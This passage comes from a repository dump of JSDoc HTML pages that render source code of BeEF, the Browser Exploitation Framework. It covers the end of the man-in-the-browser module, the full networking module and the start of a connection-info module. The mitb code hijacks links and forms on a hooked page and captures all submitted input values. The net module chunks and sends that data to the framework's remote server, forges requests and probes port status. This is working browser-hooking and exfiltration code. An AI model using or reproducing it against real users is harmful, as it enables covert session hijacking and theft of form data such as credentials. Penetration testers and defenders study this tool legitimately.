                                title = document.getElementsByTagName(\"title\")[0].innerHTML;\n                                    }\n                                    // write the url of the page\n                                    history.pushState({ Be:\"EF\" }, title, url);\n                                }\n                            }\n                        }else{\n                            //POST request\n                            beef.mitb.sniff(\"POST ajax request to: \" + url);\n                            open.call(this, method, url, async, true);\n                        }\n                    }\n                };\n            })(XMLHttpRequest.prototype.open);\n        }\n    },\n\n    /** Initializes the hook on anchors and forms. */ \n    hook:function () {\n        beef.onpopstate.push(function (event) {\n            beef.mitb.fetch(document.location, document.getElementsByTagName(\"html\")[0]);\n        });\n        beef.onclose.push(function (event) {\n            beef.mitb.endSession();\n        });\n\n        var anchors = document.getElementsByTagName(\"a\");\n        var forms = document.getElementsByTagName(\"form\");\n        var lis = document.getElementsByTagName(\"li\");\n\n        for (var i = 0; i &lt; anchors.length; i++) {\n            anchors[i].onclick = beef.mitb.poisonAnchor;\n        }\n        for (var i = 0; i &lt; forms.length; i++) {\n            beef.mitb.poisonForm(forms[i]);\n        }\n\n        for (var i = 0; i &lt; lis.length; i++) {\n            if (lis[i].hasAttribute(\"onclick\")) {\n                lis[i].removeAttribute(\"onclick\");\n                /*clear*/\n                lis[i].setAttribute(\"onclick\", \"beef.mitb.fetchOnclick('\" + lis[i].getElementsByTagName(\"a\")[0] + \"')\");\n                /*override*/\n\n            }\n        }\n    },\n\n    /** Hooks anchors and prevents them from linking away */\n    poisonAnchor:function (e) {\n        try {\n            e.preventDefault;\n            if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName(\"html\")[0])) {\n                var title = \"\";\n                if (document.getElementsByTagName(\"title\").length == 0) {\n                    title = document.title;\n                } else {\n                    title = document.getElementsByTagName(\"title\")[0].innerHTML;\n                }\n                history.pushState({ Be:\"EF\" }, title, e.currentTarget);\n            }\n        } catch (e) {\n            beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);\n        }\n        return false;\n    },\n\n    /** Hooks forms and prevents them from linking away */\n    poisonForm:function (form) {\n        form.onsubmit = function (e) {\n\n            // Collect &lt;input> tags.\n            var inputs = form.getElementsByTagName(\"input\");\n            var query = \"\";\n            for (var i = 0; i &lt; inputs.length; i++) {\n                switch (inputs[i].type) {\n                    case \"submit\":\n                        break;\n                    default:\n                        query += inputs[i].name + \"=\" + inputs[i].value + '&amp;';\n                        break;\n                }\n            }\n\n            // Collect selected options from the form.\n            var selects = form.getElementsByTagName(\"select\");\n            for (var i = 0; i &lt; selects.length; i++) {\n                var select = selects[i];\n                query += select.name + \"=\" + select.options[select.selectedIndex].value + '&amp;';\n            }\n\n            // We should be gathering 'submit' inputs as well, as there are \n            // applications demanding this parameter.\n            var submit = $j('*[type=\"submit\"]', form);\n            if(submit.length) {\n                // Append name of the submit button/input.\n                query += submit.attr('name') + '=' + submit.attr('value');\n            }\n\n            if(query.slice(-1) == '&amp;') {\n                query = query.slice(0, -1);\n            }\n\n            e.preventdefault;\n            beef.mitb.fetchForm(form.action, query, document.getElementsByTagName(\"html\")[0]);\n            history.pushState({ Be:\"EF\" }, \"\", form.action);\n            return false;\n        }\n    },\n\n    /** Fetches a hooked form with AJAX */ \n    fetchForm:function (url, query, target) {\n        try {\n            var y = new XMLHttpRequest();\n            y.open('POST', url, false, true);\n            y.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n            y.onreadystatechange = function () {\n                if (y.readyState == 4 &amp;&amp; y.responseText != \"\") {\n                    target.innerHTML = y.responseText;\n                    setTimeout(beef.mitb.hook, 10);\n                }\n            };\n            y.send(query);\n            beef.mitb.sniff(\"POST: \" + url + \"[\" + query + \"]\");\n            return true;\n        } catch (x) {\n            return false;\n        }\n    },\n\n    /** Fetches a hooked link with AJAX */\n    fetch:function (url, target) {\n        try {\n            var y = new XMLHttpRequest();\n            y.open('GET', url, false, true);\n            y.onreadystatechange = function () {\n                if (y.readyState == 4 &amp;&amp; y.responseText != \"\") {\n                    target.innerHTML = y.responseText;\n                    setTimeout(beef.mitb.hook, 10);\n                }\n            };\n            y.send(null);\n            beef.mitb.sniff(\"GET: \" + url);\n            return true;\n        } catch (x) {\n            window.open(url);\n            beef.mitb.sniff(\"GET [New Window]: \" + url);\n            return false;\n        }\n    },\n\n    /** Fetches a window.location=http://domainname.com and setting up history */ \n    fetchOnclick:function (url) {\n        try {\n            var target = document.getElementsByTagName(\"html\")[0];\n            var y = new XMLHttpRequest();\n            y.open('GET', url, false, true);\n            y.onreadystatechange = function () {\n                if (y.readyState == 4 &amp;&amp; y.responseText != \"\") {\n                    var title = \"\";\n                    if (document.getElementsByTagName(\"title\").length == 0) {\n                        title = document.title;\n                    }\n                    else {\n                        title = document.getElementsByTagName(\"title\")[0].innerHTML;\n                        }\n                    history.pushState({ Be:\"EF\" }, title, url);\n                    target.innerHTML = y.responseText;\n                    setTimeout(beef.mitb.hook, 10);\n                }\n            };\n            y.send(null);\n            beef.mitb.sniff(\"GET: \" + url);\n\n        } catch (x) {\n            // the link is cross-origin, so load the resource in a different tab\n            window.open(url);\n            beef.mitb.sniff(\"GET [New Window]: \" + url);\n        }\n    },\n\n    /** Relays an entry to the framework */\n    sniff:function (result) {\n        try {\n            beef.net.send(beef.mitb.cid, beef.mitb.curl, result);\n        } catch (x) {\n        }\n        return true;\n    },\n\n    /** Signals the Framework that the user has lost the hook */\n    endSession:function () {\n        beef.mitb.sniff(\"Window closed.\");\n    }\n};\n\nbeef.regCmp('beef.mitb');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/net.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: net.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: net.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides basic networking functions,\n * like beef.net.request and beef.net.forgeRequest,\n * used by BeEF command modules and the Requester extension,\n * as well as beef.net.send which is used to return commands\n * to BeEF server-side components.\n *\n * Also, it contains the core methods used by the XHR-polling\n * mechanism (flush, queue)\n * @namespace beef.net\n *\n */\nbeef.net = {\n\n    host: \"&lt;%= @beef_host %>\",\n    port: \"&lt;%= @beef_port %>\",\n    hook: \"&lt;%= @beef_hook %>\",\n    httpproto: \"&lt;%= @beef_proto %>\",\n    handler: '/dh',\n    chop: 500,\n    pad: 30, //this is the amount of padding for extra params such as pc, pid and sid\n    sid_count: 0,\n    cmd_queue: [],\n\n    /**\n     * Command object. This represents the data to be sent back to BeEF,\n     * using the beef.net.send() method.\n     */\n    command: function () {\n        this.cid = null;\n        this.results = null;\n        this.status = null;\n        this.handler = null;\n        this.callback = null;\n    },\n\n    /**\n     * Packet object. A single chunk of data. X packets -> 1 stream\n     */\n    packet: function () {\n        this.id = null;\n        this.data = null;\n    },\n\n    /**\n     * Stream object. Contains X packets, which are command result chunks.\n     */\n    stream: function () {\n        this.id = null;\n        this.packets = [];\n        this.pc = 0;\n        this.get_base_url_length = function () {\n            return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;\n        };\n        this.get_packet_data = function () {\n            var p = this.packets.shift();\n            return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }\n        };\n    },\n\n    /**\n     * Response Object - used in the beef.net.request callback\n     * NOTE: as we are using async mode, the response object will be empty if returned.\n     * Using sync mode, request obj fields will be populated.\n     */\n    response: function () {\n        this.status_code = null;        // 500, 404, 200, 302\n        this.status_text = null;        // success, timeout, error, ...\n        this.response_body = null;      // \"&lt;html>….\" if not a cross-origin request\n        this.port_status = null;        // tcp port is open, closed or not http\n        this.was_cross_origin = null;   // true or false\n        this.was_timedout = null;       // the user specified timeout was reached\n        this.duration = null;           // how long it took for the request to complete\n        this.headers = null;            // full response headers\n    },\n\n    /**\n     * Queues the specified command results.\n     * @param {String} handler the server-side handler that will be called\n     * @param {Integer} cid command id\n     * @param {String} results the data to send\n     * @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')\n     * @param {Function} callback the function to call after execution\n     */\n    queue: function (handler, cid, results, status, callback) {\n        if (typeof(handler) === 'string' &amp;&amp; typeof(cid) === 'number' &amp;&amp; (callback === undefined || typeof(callback) === 'function')) {\n            var s = new beef.net.command();\n            s.cid = cid;\n            s.results = beef.net.clean(results);\n            s.status = status;\n            s.callback = callback;\n            s.handler = handler;\n            this.cmd_queue.push(s);\n        }\n    },\n\n    /**\n     * Queues the current command results and flushes the queue straight away.\n     * NOTE: Always send Browser Fingerprinting results\n     * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,\n     * even if WebSockets are enabled.\n     * @param {String} handler the server-side handler that will be called\n     * @param {Integer} cid command id\n     * @param {String} results the data to send\n     * @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')\n     * @param {Function} callback the function to call after execution\n     * @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null)\n     */\n    send: function (handler, cid, results, exec_status, callback) {\n        // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status\n        var status = 0;\n        if (exec_status != null &amp;&amp; parseInt(Number(exec_status)) == exec_status){ status = exec_status}\n\n        if (typeof beef.websocket === \"undefined\" || (handler === \"/init\" &amp;&amp; cid == 0)) {\n            this.queue(handler, cid, results, status, callback);\n            this.flush();\n        } else {\n            try {\n                beef.websocket.send('{\"handler\" : \"' + handler + '\", \"cid\" :\"' + cid +\n                    '\", \"result\":\"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +\n                    '\", \"status\": \"' + exec_status +\n                    '\", \"callback\": \"' + callback +\n                    '\",\"bh\":\"' + beef.session.get_hook_session_id() + '\" }');\n            } catch (e) {\n                this.queue(handler, cid, results, status, callback);\n                this.flush();\n            }\n        }\n\n        return status;\n    },\n\n    /**\n     * Flush all currently queued command results to the framework,\n     * chopping the data in chunks ('chunk' method) which will be re-assembled\n     * server-side by the network stack.\n     * NOTE: currently 'flush' is used only with the default\n     * XHR-polling mechanism. If WebSockets are used, the data is sent\n     * back to BeEF straight away.\n     */\n    flush: function (callback) {\n        if (this.cmd_queue.length > 0) {\n            var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));\n            this.cmd_queue.length = 0;\n            this.sid_count++;\n            var stream = new this.stream();\n            stream.id = this.sid_count;\n            var pad = stream.get_base_url_length() + this.pad;\n            //cant continue if chop amount is too low\n            if ((this.chop - pad) > 0) {\n                var data = this.chunk(data, (this.chop - pad));\n                for (var i = 1; i &lt;= data.length; i++) {\n                    var packet = new this.packet();\n                    packet.id = i;\n                    packet.data = data[(i - 1)];\n                    stream.packets.push(packet);\n                }\n                stream.pc = stream.packets.length;\n                this.push(stream, callback);\n            }\n        } else {\n            if ((typeof callback != 'undefined') &amp;&amp; (callback != null)) {\n                callback();\n            }\n        }\n    },\n\n    /**\n     * Split the input data into chunk lengths determined by the amount parameter.\n     * @param {String} str the input data\n     * @param {Integer} amount chunk length\n     */\n    chunk: function (str, amount) {\n        if (typeof amount == 'undefined') n = 2;\n        return str.match(RegExp('.{1,' + amount + '}', 'g'));\n    },\n\n    /**\n     * Push the input stream back to the BeEF server-side components.\n     * It uses beef.net.request to send back the data.\n     * @param {Object} stream the stream object to be sent back.\n     */\n    push: function (stream, callback) {\n        //need to implement wait feature here eventually\n        if (typeof callback === 'undefined') {\n            callback = null;\n        }\n        for (var i = 0; i &lt; stream.pc; i++) {\n            var cb = null;\n            if (i == (stream.pc - 1)) {\n                cb = callback;\n            }\n            this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, \n                    stream.get_packet_data(), 10, 'text', cb);\n        }\n    },\n\n    /**\n     * Performs http requests\n     * @param {String} scheme HTTP or HTTPS\n     * @param {String} method GET or POST\n     * @param {String} domain bindshell.net, 192.168.3.4, etc\n     * @param {Int} port 80, 5900, etc\n     * @param {String} path /path/to/resource\n     * @param {String} anchor this is the value that comes after the # in the URL\n     * @param {String} data This will be used as the query string for a GET or post data for a POST\n     * @param {Int} timeout timeout the request after N seconds\n     * @param {String} dataType specify the data return type expected (ie text/html/script)\n     * @param {Function} callback call the callback function at the completion of the method\n     *\n     * @return {Object} this object contains the response details\n     */\n    request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {\n        //check if same origin or cross origin\n        var cross_origin = true;\n        if (document.domain == domain.replace(/(\\r\\n|\\n|\\r)/gm, \"\")) { //strip eventual line breaks\n            if (document.location.port == \"\" || document.location.port == null) {\n                cross_origin = !(port == \"80\" || port == \"443\");\n            }\n        }\n\n        //build the url\n        var url = \"\";\n        if (path.indexOf(\"http://\") != -1 || path.indexOf(\"https://\") != -1) {\n            url = path;\n        } else {\n            url = scheme + \"://\" + domain;\n            url = (port != null) ? url + \":\" + port : url;\n            url = (path != null) ? url + path : url;\n            url = (anchor != null) ? url + \"#\" + anchor : url;\n        }\n\n        //define response object\n        var response = new this.response;\n        response.was_cross_origin = cross_origin;\n        var start_time = new Date().getTime();\n\n        /*\n         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':\n         * This will turn POSTs into GETs for cross origin requests.\n         */\n        if (method == \"POST\") {\n            $j.ajaxSetup({\n                dataType: dataType\n            });\n        } else {\n            $j.ajaxSetup({\n                dataType: 'script'\n            });\n        }\n\n        //build and execute the request\n        $j.ajax({type: method,\n            url: url,\n            data: data,\n            timeout: (timeout * 1000),\n\n            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.\n            beforeSend: function (xhr) {\n                if (method == \"POST\") {\n                    xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded; charset=utf-8\");\n                }\n            },\n            success: function (data, textStatus, xhr) {\n                var end_time = new Date().getTime();\n                response.status_code = xhr.status;\n                response.status_text = textStatus;\n                response.response_body = data;\n                response.port_status = \"open\";\n                response.was_timedout = false;\n                response.duration = (end_time - start_time);\n            },\n            error: function (jqXHR, textStatus, errorThrown) {\n                var end_time = new Date().getTime();\n                response.response_body = jqXHR.responseText;\n                response.status_code = jqXHR.status;\n                response.status_text = textStatus;\n                response.duration = (end_time - start_time);\n                response.port_status = \"open\";\n            },\n            complete: function (jqXHR, textStatus) {\n                response.status_code = jqXHR.status;\n                response.status_text = textStatus;\n                response.headers = jqXHR.getAllResponseHeaders();\n                // determine if TCP port is open/closed/not-http\n                if (textStatus == \"timeout\") {\n                    response.was_timedout = true;\n                    response.response_body = \"ERROR: Timed out\\n\";\n                    response.port_status = \"closed\";\n                } else if (textStatus == \"parsererror\") {\n                    response.port_status = \"not-http\";\n                } else {\n                    response.port_status = \"open\";\n                }\n            }\n        }).always(function () {\n                if (callback != null) {\n                    callback(response);\n                }\n            });\n        return response;\n    },\n\n    /**\n     * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:\n     *  - requestid: needed on the callback\n     *  - allowCrossOrigin: set cross-origin requests as allowed or blocked\n     *\n     * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.\n     * Example usage:\n     * beef.net.forge_request(\"http\", \"POST\", \"172.20.40.50\", 8080, \"/lulz\",\n     *   true, null, { foo: \"bar\" }, 5, 'html', false, null, function(response) {\n     *   alert(response.response_body)})\n     */\n    forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossOrigin, requestid, callback) {\n\n        if (domain == \"undefined\" || path == \"undefined\") {\n            beef.debug(\"[beef.net.forge_request] Error: Malformed request. No host specified.\");\n            return;\n        }\n\n        // check if same origin or cross origin\n        var cross_origin = true;\n        if (document.domain == domain &amp;&amp; document.location.protocol == scheme + ':') {\n            if (document.location.port == \"\" || document.location.port == null) {\n                cross_origin = !(port == \"80\" || port == \"443\");\n            } else {\n                if (document.location.port == port) cross_origin = false;\n            }\n        }\n\n        // build the url\n        var url = \"\";\n        if (path.indexOf(\"http://\") != -1 || path.indexOf(\"https://\") != -1) {\n            url = path;\n        } else {\n            url = scheme + \"://\" + domain;\n            url = (port != null) ? url + \":\" + port : url;\n            url = (path != null) ? url + path : url;\n            url = (anchor != null) ? url + \"#\" + anchor : url;\n        }\n\n        // define response object\n        var response = new this.response;\n        response.was_cross_origin = cross_origin;\n        var start_time = new Date().getTime();\n\n        // if cross-origin requests are not allowed and the request is cross-origin\n        // don't proceed and return\n        if (allowCrossOrigin == \"false\" &amp;&amp; cross_origin) {\n            beef.debug(\"[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.\");\n            response.status_code = -1;\n            response.status_text = \"crossorigin\";\n            response.port_status = \"crossorigin\";\n            response.response_body = \"ERROR: Cross Domain Request. The request was not sent.\\n\";\n            response.headers = \"ERROR: Cross Domain Request. The request was not sent.\\n\";\n            if (callback != null) callback(response, requestid);\n            return response;\n        }\n\n        // if the request was cross-origin from a HTTPS origin to HTTP\n        // don't proceed and return\n        if (document.location.protocol == 'https:' &amp;&amp; scheme == 'http') {\n            beef.debug(\"[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.\");\n            response.status_code = -1;\n            response.status_text = \"mixedcontent\";\n            response.port_status = \"mixedcontent\";\n            response.response_body = \"ERROR: Mixed Active Content. The request was not sent.\\n\";\n            response.headers = \"ERROR: Mixed Active Content. The request was not sent.\\n\";\n            if (callback != null) callback(response, requestid);\n            return response;\n        }\n\n        /*\n         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':\n         * This will turn POSTs into GETs for cross origin requests.\n         */\n        if (method == \"POST\") {\n            $j.ajaxSetup({\n                dataType: dataType\n            });\n        } else {\n            $j.ajaxSetup({\n                dataType: 'script'\n            });\n        }\n\n        // this is required for bugs in IE so data can be transferred back to the server\n        if (beef.browser.isIE()) {\n            dataType = 'script'\n        }\n\n        $j.ajax({type: method,\n            dataType: dataType,\n            url: url,\n            headers: headers,\n            timeout: (timeout * 1000),\n\n            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.\n            beforeSend: function (xhr) {\n                if (method == \"POST\") {\n                    xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded; charset=utf-8\");\n                }\n            },\n\n            data: data,\n\n            // http server responded successfully\n            success: function (data, textStatus, xhr) {\n                var end_time = new Date().getTime();\n                response.status_code = xhr.status;\n                response.status_text = textStatus;\n                response.response_body = data;\n                response.was_timedout = false;\n                response.duration = (end_time - start_time);\n            },\n\n            // server responded with a http error (403, 404, 500, etc)\n            // or server is not a http server\n            error: function (xhr, textStatus, errorThrown) {\n                var end_time = new Date().getTime();\n                response.response_body = xhr.responseText;\n                response.status_code = xhr.status;\n                response.status_text = textStatus;\n                response.duration = (end_time - start_time);\n            },\n\n            complete: function (xhr, textStatus) {\n                // cross-origin request\n                if (cross_origin) {\n\n                    response.port_status = \"crossorigin\";\n\n                    if (xhr.status != 0) {\n                        response.status_code = xhr.status;\n                    } else {\n                        response.status_code = -1;\n                    }\n\n                    if (textStatus) {\n                        response.status_text = textStatus;\n                    } else {\n                        response.status_text = \"crossorigin\";\n                    }\n\n                    if (xhr.getAllResponseHeaders()) {\n                        response.headers = xhr.getAllResponseHeaders();\n                    } else {\n                        response.headers = \"ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\\n\";\n                    }\n\n                    if (!response.response_body) {\n                        response.response_body = \"ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\\n\";\n                    }\n\n                } else {\n                    // same-origin request\n                    response.status_code = xhr.status;\n                    response.status_text = textStatus;\n                    response.headers = xhr.getAllResponseHeaders();\n\n                    // determine if TCP port is open/closed/not-http\n                    if (textStatus == \"timeout\") {\n                        response.was_timedout = true;\n                        response.response_body = \"ERROR: Timed out\\n\";\n                        response.port_status = \"closed\";\n                        /*\n                         * With IE we need to explicitly set the dataType to \"script\",\n                         * so there will be always parse-errors if the content is != javascript\n                         * */\n                    } else if (textStatus == \"parsererror\") {\n                        response.port_status = \"not-http\";\n                        if (beef.browser.isIE()) {\n                            response.status_text = \"success\";\n                            response.port_status = \"open\";\n                        }\n                    } else {\n                        response.port_status = \"open\";\n                    }\n                }\n                callback(response, requestid);\n            }\n        });\n        return response;\n    },\n\n    /** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}\n     *  http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/\n     */\n    clean: function (r) {\n        if (this.array_has_string_key(r)) {\n            var obj = {};\n            for (var key in r)\n                obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];\n            return obj;\n        }\n        return r;\n    },\n\n    /** Detects if an array has a string key */\n    array_has_string_key: function (arr) {\n        if ($j.isArray(arr)) {\n            try {\n                for (var key in arr)\n                    if (isNaN(parseInt(key))) return true;\n            } catch (e) {\n            }\n        }\n        return false;\n    },\n\n    /**\n     * Checks if the specified port is valid\n     */\n    is_valid_port: function (port) {\n      if (isNaN(port)) return false;\n      if (port > 65535 || port &lt; 0) return false;\n      return true;\n    },\n\n    /**\n     * Checks if the specified IP address is valid\n     */\n    is_valid_ip: function (ip) {\n      if (ip == null) return false;\n      var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');\n      if (ip_match == null) return false;\n      return true;\n    },\n\n    /**\n     * Checks if the specified IP address range is valid\n     */\n    is_valid_ip_range: function (ip_range) {\n      if (ip_range == null) return false;\n      var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');\n      if (range_match == null || range_match[1] == null) return false;\n      return true;\n    },\n\n    /**\n     * Sends back browser details to framework, calling beef.browser.getDetails()\n     */\n    browser_details: function () {\n        var details = beef.browser.getDetails();\n        var res = null;\n        details['HookSessionID'] = beef.session.get_hook_session_id();\n        this.send('/init', 0, details);\n        if(details != null)\n            res = true;\n\n        return res;\n    }\n\n};\n\n\nbeef.regCmp('beef.net');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/net_connection.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: net/connection.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: net/connection.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * beef.net.connection - wraps Mozilla's Network Information API\n * https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation\n * https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection\n * @namespace beef.net.connection\n */\nbeef.net.connection = {\n\n  /**\n   * Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type\n   * @example beef.net.connection.type()\n   * @return {String} connection type or 'unknown'.\n   */\n  type: function () {\n    try {\n      var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;\n      var type = connection.type;\n      if (/^[a-z]+$/.test(type)) return type; else return 'unknown';\n    } catch(e) {\n      beef.debug(\"Error retrieving connection type: \" + e.message);\n      return 'unknown';\n    }\n  },\n\n  /** \n   * Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax\n   * @example beef.net.connection.downlinkMax()\n   * @return {String} downlink max or 'unknown'.\n   */\n  downlinkMax: function () {\n    try {\n      var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;\n      var max = connection.downlinkMax;\n      if (max) return max; else return 'unknown';\n    } catch(e) {\n      beef.debug(\"Error retrieving connection downlink max: \" + e.message);\n      return 'unknown';\n    }\n  }\n\n};\n\nbeef.regCmp('beef.net.connection');\n\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a 